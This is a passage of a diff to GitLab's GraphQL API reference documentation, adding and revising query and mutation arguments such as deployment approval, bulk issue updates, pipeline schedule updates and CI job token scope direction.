gitlab-runner documentation to learn about runner registration commands. + Returns [`RunnerSetup`](#runnersetup). #### Arguments @@ -487,6 +535,23 @@ This field returns a [connection](#connections). It accepts the four standard [pagination arguments](#connection-pagination-arguments): `before: String`, `after: String`, `first: Int`, `last: Int`. +### `Query.syntheticNote` + +Find a synthetic note. + +WARNING: +**Introduced** in 15.9. +This feature is in Alpha. It can be changed or removed at any time. + +Returns [`Note`](#note). + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="querysyntheticnotenoteableid"></a>`noteableId` | [`NoteableID!`](#noteableid) | Global ID of the resource to search synthetic note on. | +| <a id="querysyntheticnotesha"></a>`sha` | [`String!`](#string) | Global ID of the note. | + ### `Query.timelogs` Find timelogs visible to the current user. @@ -693,7 +758,6 @@ Input type: `AchievementsCreateInput` | <a id="mutationachievementscreatedescription"></a>`description` | [`String`](#string) | Description of or notes for the achievement. | | <a id="mutationachievementscreatename"></a>`name` | [`String!`](#string) | Name for the achievement. | | <a id="mutationachievementscreatenamespaceid"></a>`namespaceId` | [`NamespaceID!`](#namespaceid) | Namespace for the achievement. | -| <a id="mutationachievementscreaterevokeable"></a>`revokeable` | [`Boolean!`](#boolean) | Revokeability for the achievement. | #### Fields @@ -835,6 +899,28 @@ Input type: `ApiFuzzingCiConfigurationCreateInput` | <a id="mutationapifuzzingciconfigurationcreateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | | <a id="mutationapifuzzingciconfigurationcreategitlabciyamleditpath"></a>`gitlabCiYamlEditPath` **{warning-solid}** | [`String`](#string) | **Deprecated:** The configuration snippet is now generated client-side. Deprecated in 14.6. | +### `Mutation.approveDeployment` + +Input type: `ApproveDeploymentInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationapprovedeploymentclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationapprovedeploymentcomment"></a>`comment` | [`String`](#string) | Comment to go with the approval. | +| <a id="mutationapprovedeploymentid"></a>`id` | [`DeploymentID!`](#deploymentid) | ID of the deployment. | +| <a id="mutationapprovedeploymentrepresentedas"></a>`representedAs` | [`String`](#string) | Name of the User/Group/Role to use for the approval, when the user belongs to multiple approval rules. | +| <a id="mutationapprovedeploymentstatus"></a>`status` | [`DeploymentsApprovalStatus!`](#deploymentsapprovalstatus) | Status of the approval (either `APPROVED` or `REJECTED`). | + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationapprovedeploymentclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationapprovedeploymentdeploymentapproval"></a>`deploymentApproval` | [`DeploymentApproval!`](#deploymentapproval) | DeploymentApproval after mutation. | +| <a id="mutationapprovedeploymenterrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | + ### `Mutation.artifactDestroy` Input type: `ArtifactDestroyInput` @@ -1148,6 +1234,7 @@ Input type: `CiCdSettingsUpdateInput` | <a id="mutationcicdsettingsupdatekeeplatestartifact"></a>`keepLatestArtifact` | [`Boolean`](#boolean) | Indicates if the latest artifact should be kept for the project. | | <a id="mutationcicdsettingsupdatemergepipelinesenabled"></a>`mergePipelinesEnabled` | [`Boolean`](#boolean) | Indicates if merge pipelines are enabled for the project. | | <a id="mutationcicdsettingsupdatemergetrainsenabled"></a>`mergeTrainsEnabled` | [`Boolean`](#boolean) | Indicates if merge trains are enabled for the project. | +| <a id="mutationcicdsettingsupdateoptinjwt"></a>`optInJwt` | [`Boolean`](#boolean) | When disabled, the JSON Web Token is always available in all jobs in the pipeline. | #### Fields @@ -1166,6 +1253,7 @@ Input type: `CiJobTokenScopeAddProjectInput` | Name | Type | Description | | ---- | ---- | ----------- | | <a id="mutationcijobtokenscopeaddprojectclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationcijobtokenscopeaddprojectdirection"></a>`direction` | [`CiJobTokenScopeDirection`](#cijobtokenscopedirection) | Direction of access, which defaults to outbound. | | <a id="mutationcijobtokenscopeaddprojectprojectpath"></a>`projectPath` | [`ID!`](#id) | Project that the CI job token scope belongs to. | | <a id="mutationcijobtokenscopeaddprojecttargetprojectpath"></a>`targetProjectPath` | [`ID!`](#id) | Project to be added to the CI job token scope. | @@ -1173,7 +1261,7 @@ Input type: `CiJobTokenScopeAddProjectInput` | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="mutationcijobtokenscopeaddprojectcijobtokenscope"></a>`ciJobTokenScope` | [`CiJobTokenScopeType`](#cijobtokenscopetype) | CI job token's scope of access. | +| <a id="mutationcijobtokenscopeaddprojectcijobtokenscope"></a>`ciJobTokenScope` | [`CiJobTokenScopeType`](#cijobtokenscopetype) | CI job token's access scope. | | <a id="mutationcijobtokenscopeaddprojectclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | <a id="mutationcijobtokenscopeaddprojecterrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | @@ -1186,6 +1274,7 @@ Input type: `CiJobTokenScopeRemoveProjectInput` | Name | Type | Description | | ---- | ---- | ----------- | | <a id="mutationcijobtokenscoperemoveprojectclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationcijobtokenscoperemoveprojectdirection"></a>`direction` | [`CiJobTokenScopeDirection`](#cijobtokenscopedirection) | Direction of access, which defaults to outbound. | | <a id="mutationcijobtokenscoperemoveprojectprojectpath"></a>`projectPath` | [`ID!`](#id) | Project that the CI job token scope belongs to. | | <a id="mutationcijobtokenscoperemoveprojecttargetprojectpath"></a>`targetProjectPath` | [`ID!`](#id) | Project to be removed from the CI job token scope. | @@ -1960,6 +2049,7 @@ Input type: `DastProfileCreateInput` | <a id="mutationdastprofilecreatefullpath"></a>`fullPath` | [`ID!`](#id) | Project the profile belongs to. | | <a id="mutationdastprofilecreatename"></a>`name` | [`String!`](#string) | Name of the profile. | | <a id="mutationdastprofilecreaterunaftercreate"></a>`runAfterCreate` | [`Boolean`](#boolean) | Run scan using profile after creation. Defaults to false. | +| <a id="mutationdastprofilecreatetaglist"></a>`tagList` | [`[String!]`](#string) | Indicates the runner tags associated with the profile. | #### Fields @@ -2026,6 +2116,7 @@ Input type: `DastProfileUpdateInput` | <a id="mutationdastprofileupdateid"></a>`id` | [`DastProfileID!`](#dastprofileid) | ID of the profile to be deleted. | | <a id="mutationdastprofileupdatename"></a>`name` | [`String`](#string) | Name of the profile. | | <a id="mutationdastprofileupdaterunafterupdate"></a>`runAfterUpdate` | [`Boolean`](#boolean) | Run scan using profile after update. Defaults to false. | +| <a id="mutationdastprofileupdatetaglist"></a>`tagList` | [`[String!]`](#string) | Indicates the runner tags associated with the profile. | #### Fields @@ -2050,7 +2141,7 @@ Input type: `DastScannerProfileCreateInput` | <a id="mutationdastscannerprofilecreatescantype"></a>`scanType` | [`DastScanTypeEnum`](#dastscantypeenum) | Indicates the type of DAST scan that will run. Either a Passive Scan or an Active Scan. | | <a id="mutationdastscannerprofilecreateshowdebugmessages"></a>`showDebugMessages` | [`Boolean`](#boolean) | Indicates if debug messages should be included in DAST console output. True to include the debug messages. | | <a id="mutationdastscannerprofilecreatespidertimeout"></a>`spiderTimeout` | [`Int`](#int) | Maximum number of minutes allowed for the spider to traverse the site. | -| <a id="mutationdastscannerprofilecreatetaglist"></a>`tagList` | [`[String!]`](#string) | Indicates the runner tags associated with the scanner profile. | +| <a id="mutationdastscannerprofilecreatetaglist"></a>`tagList` **{warning-solid}** | [`[String!]`](#string) | **Deprecated:** Moved to DastProfile. Deprecated in 15.8. | | <a id="mutationdastscannerprofilecreatetargettimeout"></a>`targetTimeout` | [`Int`](#int) | Maximum number of seconds allowed for the site under test to respond to a request. | | <a id="mutationdastscannerprofilecreateuseajaxspider"></a>`useAjaxSpider` | [`Boolean`](#boolean) | Indicates if the AJAX spider should be used to crawl the target site. True to run the AJAX spider in addition to the traditional spider, and false to run only the traditional spider. | @@ -2097,7 +2188,7 @@ Input type: `DastScannerProfileUpdateInput` | <a id="mutationdastscannerprofileupdatescantype"></a>`scanType` | [`DastScanTypeEnum`](#dastscantypeenum) | Indicates the type of DAST scan that will run. Either a Passive Scan or an Active Scan. | | <a id="mutationdastscannerprofileupdateshowdebugmessages"></a>`showDebugMessages` | [`Boolean`](#boolean) | Indicates if debug messages should be included in DAST console output. True to include the debug messages. | | <a id="mutationdastscannerprofileupdatespidertimeout"></a>`spiderTimeout` | [`Int!`](#int) | Maximum number of minutes allowed for the spider to traverse the site. | -| <a id="mutationdastscannerprofileupdatetaglist"></a>`tagList` | [`[String!]`](#string) | Indicates the runner tags associated with the scanner profile. | +| <a id="mutationdastscannerprofileupdatetaglist"></a>`tagList` **{warning-solid}** | [`[String!]`](#string) | **Deprecated:** Moved to DastProfile. Deprecated in 15.8. | | <a id="mutationdastscannerprofileupdatetargettimeout"></a>`targetTimeout` | [`Int!`](#int) | Maximum number of seconds allowed for the site under test to respond to a request. | | <a id="mutationdastscannerprofileupdateuseajaxspider"></a>`useAjaxSpider` | [`Boolean`](#boolean) | Indicates if the AJAX spider should be used to crawl the target site. True to run the AJAX spider in addition to the traditional spider, and false to run only the traditional spider. | @@ -2817,6 +2908,7 @@ Input type: `EpicMoveListInput` | <a id="mutationepicmovelistfromlistid"></a>`fromListId` | [`BoardsEpicListID`](#boardsepiclistid) | ID of the board list that the epic will be moved from. Required if moving between lists. | | <a id="mutationepicmovelistmoveafterid"></a>`moveAfterId` | [`EpicID`](#epicid) | ID of epic that should be placed after the current epic. | | <a id="mutationepicmovelistmovebeforeid"></a>`moveBeforeId` | [`EpicID`](#epicid) | ID of epic that should be placed before the current epic. | +| <a id="mutationepicmovelistpositioninlist"></a>`positionInList` | [`Int`](#int) | Position of epics within the board list. Positions start at 0. Use -1 to move to the end of the list. | | <a id="mutationepicmovelisttolistid"></a>`toListId` | [`BoardsEpicListID!`](#boardsepiclistid) | ID of the list the epic will be in after mutation. | #### Fields @@ -3543,6 +3635,35 @@ Input type: `IssueUnlinkAlertInput` | <a id="mutationissueunlinkalerterrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | | <a id="mutationissueunlinkalertissue"></a>`issue` | [`Issue`](#issue) | Issue after mutation. | +### `Mutation.issuesBulkUpdate` + +Allows updating several properties for a set of issues. Does nothing if the `bulk_update_issues_mutation` feature flag is disabled. + +WARNING: +**Introduced** in 15.9. +This feature is in Alpha. It can be changed or removed at any time. + +Input type: `IssuesBulkUpdateInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationissuesbulkupdateassigneeids"></a>`assigneeIds` | [`[UserID!]`](#userid) | Global ID array of the users that will be assigned to the given issues. Existing assignees will be replaced with the ones on this list. | +| <a id="mutationissuesbulkupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationissuesbulkupdateids"></a>`ids` | [`[IssueID!]!`](#issueid) | Global ID array of the issues that will be updated. IDs that the user can't update will be ignored. A max of 100 can be provided. | +| <a id="mutationissuesbulkupdateiterationid"></a>`iterationId` | [`IterationID`](#iterationid) | Global ID of the iteration that will be assigned to the issues. | +| <a id="mutationissuesbulkupdatemilestoneid"></a>`milestoneId` | [`MilestoneID`](#milestoneid) | Global ID of the milestone that will be assigned to the issues. | +| <a id="mutationissuesbulkupdateparentid"></a>`parentId` | [`IssueParentID!`](#issueparentid) | Global ID of the parent that the bulk update will be scoped to . Example `IssueParentID` are `"gid://gitlab/Project/1"` and `"gid://gitlab/Group/1"`. | + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationissuesbulkupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationissuesbulkupdateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | +| <a id="mutationissuesbulkupdateupdatedissuecount"></a>`updatedIssueCount` | [`Int`](#int) | Number of issues that were successfully updated. | + ### `Mutation.iterationCadenceCreate` Input type: `IterationCadenceCreateInput` @@ -4083,6 +4204,7 @@ Input type: `MergeRequestUpdateInput` | <a id="mutationmergerequestupdateprojectpath"></a>`projectPath` | [`ID!`](#id) | Project the merge request to mutate is in. | | <a id="mutationmergerequestupdatestate"></a>`state` | [`MergeRequestNewState`](#mergerequestnewstate) | Action to perform to change the state. | | <a id="mutationmergerequestupdatetargetbranch"></a>`targetBranch` | [`String`](#string) | Target branch of the merge request. | +| <a id="mutationmergerequestupdatetimeestimate"></a>`timeEstimate` | [`String`](#string) | Estimated time to complete the merge request, or `0` to remove the current estimate. | | <a id="mutationmergerequestupdatetitle"></a>`title` | [`String`](#string) | Title of the merge request. | #### Fields @@ -4443,6 +4565,31 @@ Input type: `PipelineScheduleTakeOwnershipInput` | <a id="mutationpipelinescheduletakeownershiperrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | | <a id="mutationpipelinescheduletakeownershippipelineschedule"></a>`pipelineSchedule` | [`PipelineSchedule`](#pipelineschedule) | Updated pipeline schedule ownership. | +### `Mutation.pipelineScheduleUpdate` + +Input type: `PipelineScheduleUpdateInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationpipelinescheduleupdateactive"></a>`active` | [`Boolean`](#boolean) | Indicates if the pipeline schedule should be active or not. | +| <a id="mutationpipelinescheduleupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationpipelinescheduleupdatecron"></a>`cron` | [`String`](#string) | Cron expression of the pipeline schedule. | +| <a id="mutationpipelinescheduleupdatecrontimezone"></a>`cronTimezone` | [`String`](#string) | Cron time zone supported by ActiveSupport::TimeZone. For example: "Pacific Time (US & Canada)" (default: "UTC"). | +| <a id="mutationpipelinescheduleupdatedescription"></a>`description` | [`String`](#string) | Description of the pipeline schedule. | +| <a id="mutationpipelinescheduleupdateid"></a>`id` | [`CiPipelineScheduleID!`](#cipipelinescheduleid) | ID of the pipeline schedule to mutate. | +| <a id="mutationpipelinescheduleupdateref"></a>`ref` | [`String`](#string) | Ref of the pipeline schedule. | +| <a id="mutationpipelinescheduleupdatevariables"></a>`variables` | [`[PipelineScheduleVariableInput!]`](#pipelineschedulevariableinput) | Variables for the pipeline schedule. | + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationpipelinescheduleupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationpipelinescheduleupdateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | +| <a id="mutationpipelinescheduleupdatepipelineschedule"></a>`pipelineSchedule` | [`PipelineSchedule`](#pipelineschedule) | Updated pipeline schedule. | + ### `Mutation.projectCiCdSettingsUpdate` Input type: `ProjectCiCdSettingsUpdateInput` @@ -4458,6 +4605,7 @@ Input type: `ProjectCiCdSettingsUpdateInput` | <a id="mutationprojectcicdsettingsupdatekeeplatestartifact"></a>`keepLatestArtifact` | [`Boolean`](#boolean) | Indicates if the latest artifact should be kept for the project. | | <a id="mutationprojectcicdsettingsupdatemergepipelinesenabled"></a>`mergePipelinesEnabled` | [`Boolean`](#boolean) | Indicates if merge pipelines are enabled for the project. | | <a id="mutationprojectcicdsettingsupdatemergetrainsenabled"></a>`mergeTrainsEnabled` | [`Boolean`](#boolean) | Indicates if merge trains are enabled for the project. | +| <a id="mutationprojectcicdsettingsupdateoptinjwt"></a>`optInJwt` | [`Boolean`](#boolean) | When disabled, the JSON Web Token is always available in all jobs in the pipeline. | #### Fields @@ -4984,6 +5132,25 @@ Input type: `SecurityFindingDismissInput` | <a id="mutationsecurityfindingdismisserrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | | <a id="mutationsecurityfindingdismissuuid"></a>`uuid` | [`String`](#string) | UUID of dismissed finding. | +### `Mutation.securityFindingRevertToDetected` + +Input type: `SecurityFindingRevertToDetectedInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationsecurityfindingreverttodetectedclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationsecurityfindingreverttodetecteduuid"></a>`uuid` | [`String!`](#string) | UUID of the finding to be dismissed. | + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationsecurityfindingreverttodetectedclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationsecurityfindingreverttodetectederrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | +| <a id="mutationsecurityfindingreverttodetectedsecurityfinding"></a>`securityFinding` | [`PipelineSecurityReportFinding`](#pipelinesecurityreportfinding) | Finding reverted to detected. | + ### `Mutation.securityPolicyProjectAssign` Assigns the specified project(`security_policy_project_id`) as security policy project for the given project(`full_path`). If the project already has a security policy project, this reassigns the project's security policy project with the given `security_policy_project_id`. @@ -5651,6 +5818,7 @@ Input type: `UpdateIssueInput` | <a id="mutationupdateissueprojectpath"></a>`projectPath` | [`ID!`](#id) | Project the issue to mutate is in. | | <a id="mutationupdateissueremovelabelids"></a>`removeLabelIds` | [`[ID!]`](#id) | IDs of labels to be removed from the issue. | | <a id="mutationupdateissuestateevent"></a>`stateEvent` | [`IssueStateEvent`](#issuestateevent) | Close or reopen an issue. | +| <a id="mutationupdateissuetimeestimate"></a>`timeEstimate` | [`String`](#string) | Estimated time to complete the issue, or `0` to remove the current estimate. | | <a id="mutationupdateissuetitle"></a>`title` | [`String`](#string) | Title of the issue. | | <a id="mutationupdateissuetype"></a>`type` | [`IssueType`](#issuetype) | Type of the issue. | | <a id="mutationupdateissueweight"></a>`weight` | [`Int`](#int) | Weight of the issue. | @@ -7715,6 +7883,29 @@ The edge type for [`Discussion`](#discussion). | <a id="discussionedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | | <a id="discussionedgenode"></a>`node` | [`Discussion`](#discussion) | The item at the end of the edge. | +#### `EgressNodeConnection` + +The connection type for [`EgressNode`](#egressnode). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="egressnodeconnectionedges"></a>`edges` | [`[EgressNodeEdge]`](#egressnodeedge) | A list of edges. | +| <a id="egressnodeconnectionnodes"></a>`nodes` | [`[EgressNode]`](#egressnode) | A list of nodes. | +| <a id="egressnodeconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +#### `EgressNodeEdge` + +The edge type for [`EgressNode`](#egressnode). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="egressnodeedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | +| <a id="egressnodeedgenode"></a>`node` | [`EgressNode`](#egressnode) | The item at the end of the edge. | + #### `EmailConnection` The connection type for [`Email`](#email). @@ -9015,28 +9206,28 @@ The edge type for [`ProductAnalyticsDashboard`](#productanalyticsdashboard). | <a id="productanalyticsdashboardedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | | <a id="productanalyticsdashboardedgenode"></a>`node` | [`ProductAnalyticsDashboard`](#productanalyticsdashboard) | The item at the end of the edge. | -#### `ProductAnalyticsDashboardWidgetConnection` +#### `ProductAnalyticsDashboardPanelConnection` -The connection type for [`ProductAnalyticsDashboardWidget`](#productanalyticsdashboardwidget). +The connection type for [`ProductAnalyticsDashboardPanel`](#productanalyticsdashboardpanel). ##### Fields | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="productanalyticsdashboardwidgetconnectionedges"></a>`edges` | [`[ProductAnalyticsDashboardWidgetEdge]`](#productanalyticsdashboardwidgetedge) | A list of edges. | -| <a id="productanalyticsdashboardwidgetconnectionnodes"></a>`nodes` | [`[ProductAnalyticsDashboardWidget]`](#productanalyticsdashboardwidget) | A list of nodes. | -| <a id="productanalyticsdashboardwidgetconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | +| <a id="productanalyticsdashboardpanelconnectionedges"></a>`edges` | [`[ProductAnalyticsDashboardPanelEdge]`](#productanalyticsdashboardpaneledge) | A list of edges. | +| <a id="productanalyticsdashboardpanelconnectionnodes"></a>`nodes` | [`[ProductAnalyticsDashboardPanel]`](#productanalyticsdashboardpanel) | A list of nodes. | +| <a id="productanalyticsdashboardpanelconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | -#### `ProductAnalyticsDashboardWidgetEdge` +#### `ProductAnalyticsDashboardPanelEdge` -The edge type for [`ProductAnalyticsDashboardWidget`](#productanalyticsdashboardwidget). +The edge type for [`ProductAnalyticsDashboardPanel`](#productanalyticsdashboardpanel). ##### Fields | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="productanalyticsdashboardwidgetedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | -| <a id="productanalyticsdashboardwidgetedgenode"></a>`node` | [`ProductAnalyticsDashboardWidget`](#productanalyticsdashboardwidget) | The item at the end of the edge. | +| <a id="productanalyticsdashboardpaneledgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | +| <a id="productanalyticsdashboardpaneledgenode"></a>`node` | [`ProductAnalyticsDashboardPanel`](#productanalyticsdashboardpanel) | The item at the end of the edge. | #### `ProjectConnection` @@ -9439,6 +9630,7 @@ The connection type for [`SavedReply`](#savedreply). | Name | Type | Description | | ---- | ---- | ----------- | +| <a id="savedreplyconnectioncount"></a>`count` | [`Int!`](#int) | Total count of collection. | | <a id="savedreplyconnectionedges"></a>`edges` | [`[SavedReplyEdge]`](#savedreplyedge) | A list of edges. | | <a id="savedreplyconnectionnodes"></a>`nodes` | [`[SavedReply]`](#savedreply) | A list of nodes. | | <a id="savedreplyconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | @@ -10377,7 +10569,6 @@ Representation of a GitLab user. | <a id="achievementid"></a>`id` | [`AchievementsAchievementID!`](#achievementsachievementid) | ID of the achievement. | | <a id="achievementname"></a>`name` | [`String!`](#string) | Name of the achievement. | | <a id="achievementnamespace"></a>`namespace` | [`Namespace!`](#namespace) | Namespace of the achievement. | -| <a id="achievementrevokeable"></a>`revokeable` | [`Boolean!`](#boolean) | Revokeability of the achievement. | | <a id="achievementupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp the achievement was last updated. | ### `AgentConfiguration` @@ -10585,6 +10776,7 @@ Describes a rule for who can approve merge requests. | <a id="approvalruleapprovalsrequired"></a>`approvalsRequired` | [`Int`](#int) | Number of required approvals. | | <a id="approvalruleapproved"></a>`approved` | [`Boolean`](#boolean) | Indicates if the rule is satisfied. | | <a id="approvalruleapprovedby"></a>`approvedBy` | [`UserCoreConnection`](#usercoreconnection) | List of users defined in the rule that approved the merge request. (see [Connections](#connections)) | +| <a id="approvalrulecommentedby"></a>`commentedBy` | [`UserCoreConnection`](#usercoreconnection) | List of users, defined in the rule, who commented on the merge request. (see [Connections](#connections)) | | <a id="approvalrulecontainshiddengroups"></a>`containsHiddenGroups` | [`Boolean`](#boolean) | Indicates if the rule contains approvers from a hidden group. | | <a id="approvalruleeligibleapprovers"></a>`eligibleApprovers` | [`[UserCore!]`](#usercore) | List of all users eligible to approve the merge request (defined explicitly and from associated groups). | | <a id="approvalrulegroups"></a>`groups` | [`GroupConnection`](#groupconnection) | List of groups added as approvers for the rule. (see [Connections](#connections)) | @@ -10759,7 +10951,7 @@ Represents an epic on an issue board. | <a id="boardepicdescendantcounts"></a>`descendantCounts` | [`EpicDescendantCount`](#epicdescendantcount) | Number of open and closed descendant epics and issues. | | <a id="boardepicdescendantweightsum"></a>`descendantWeightSum` | [`EpicDescendantWeights`](#epicdescendantweights) | Total weight of open and closed issues in the epic and its descendants. | | <a id="boardepicdescription"></a>`description` | [`String`](#string) | Description of the epic. | -| <a id="boardepicdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a id="boardepicdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="boardepicdiscussions"></a>`discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. (see [Connections](#connections)) | | <a id="boardepicdownvotes"></a>`downvotes` | [`Int!`](#int) | Number of downvotes the epic has received. | | <a id="boardepicduedate"></a>`dueDate` | [`Time`](#time) | Due date of the epic. | @@ -10791,7 +10983,7 @@ Represents an epic on an issue board. | <a id="boardepicsubscribed"></a>`subscribed` | [`Boolean!`](#boolean) | Indicates the currently logged in user is subscribed to the epic. | | <a id="boardepictextcolor"></a>`textColor` | [`String`](#string) | Text color generated for the epic. Returns `null` if `epic_color_highlight` feature flag is disabled. | | <a id="boardepictitle"></a>`title` | [`String`](#string) | Title of the epic. | -| <a id="boardepictitlehtml"></a>`titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. | +| <a id="boardepictitlehtml"></a>`titleHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `title`. | | <a id="boardepicupdatedat"></a>`updatedAt` | [`Time`](#time) | Timestamp of when the epic was updated. | | <a id="boardepicupvotes"></a>`upvotes` | [`Int!`](#int) | Number of upvotes the epic has received. | | <a id="boardepicuserdiscussionscount"></a>`userDiscussionsCount` | [`Int!`](#int) | Number of user discussions in the epic. | @@ -10832,6 +11024,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="boardepicancestorsmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. | | <a id="boardepicancestorsmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. | | <a id="boardepicancestorsnot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. | +| <a id="boardepicancestorsor"></a>`or` **{warning-solid}** | [`UnionedEpicFilterInput`](#unionedepicfilterinput) | **Introduced** in 15.9. This feature is in Alpha. It can be changed or removed at any time. List of arguments with inclusive OR. Ignored unless `or_issuable_queries` flag is enabled. | | <a id="boardepicancestorssearch"></a>`search` | [`String`](#string) | Search query for title or description. | | <a id="boardepicancestorssort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. | | <a id="boardepicancestorsstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. | @@ -10870,6 +11063,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="boardepicchildrenmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. | | <a id="boardepicchildrenmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. | | <a id="boardepicchildrennot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. | +| <a id="boardepicchildrenor"></a>`or` **{warning-solid}** | [`UnionedEpicFilterInput`](#unionedepicfilterinput) | **Introduced** in 15.9. This feature is in Alpha. It can be changed or removed at any time. List of arguments with inclusive OR. Ignored unless `or_issuable_queries` flag is enabled. | | <a id="boardepicchildrensearch"></a>`search` | [`String`](#string) | Search query for title or description. | | <a id="boardepicchildrensort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. | | <a id="boardepicchildrenstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. | @@ -11204,6 +11398,7 @@ CI/CD variables for a GitLab instance. | <a id="cijobdetailedstatus"></a>`detailedStatus` | [`DetailedStatus`](#detailedstatus) | Detailed status of the job. | | <a id="cijobdownstreampipeline"></a>`downstreamPipeline` | [`Pipeline`](#pipeline) | Downstream pipeline for a bridge. | | <a id="cijobduration"></a>`duration` | [`Int`](#int) | Duration of the job in seconds. | +| <a id="cijoberasedat"></a>`erasedAt` | [`Time`](#time) | When the job was erased. | | <a id="cijobfinishedat"></a>`finishedAt` | [`Time`](#time) | When a job has finished running. | | <a id="cijobid"></a>`id` | [`JobID`](#jobid) | ID of the job. | | <a id="cijobkind"></a>`kind` | [`CiJobKind!`](#cijobkind) | Indicates the type of job. | @@ -11214,6 +11409,7 @@ CI/CD variables for a GitLab instance. | <a id="cijobpipeline"></a>`pipeline` | [`Pipeline`](#pipeline) | Pipeline the job belongs to. | | <a id="cijobplayable"></a>`playable` | [`Boolean!`](#boolean) | Indicates the job can be played. | | <a id="cijobpreviousstagejobsorneeds"></a>`previousStageJobsOrNeeds` | [`JobNeedUnionConnection`](#jobneedunionconnection) | Jobs that must complete before the job runs. Returns `BuildNeed`, which is the needed jobs if the job uses the `needs` keyword, or the previous stage jobs otherwise. (see [Connections](#connections)) | +| <a id="cijobproject"></a>`project` | [`Project`](#project) | Project that the job belongs to. | | <a id="cijobqueuedat"></a>`queuedAt` | [`Time`](#time) | When the job was enqueued and marked as pending. | | <a id="cijobqueuedduration"></a>`queuedDuration` | [`Duration`](#duration) | How long the job was enqueued before starting. | | <a id="cijobrefname"></a>`refName` | [`String`](#string) | Ref name of the job. | @@ -11251,7 +11447,9 @@ CI/CD variables for a GitLab instance. | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="cijobtokenscopetypeprojects"></a>`projects` | [`ProjectConnection!`](#projectconnection) | Allow list of projects that can be accessed by CI Job tokens created by this project. (see [Connections](#connections)) | +| <a id="cijobtokenscopetypeinboundallowlist"></a>`inboundAllowlist` | [`ProjectConnection!`](#projectconnection) | 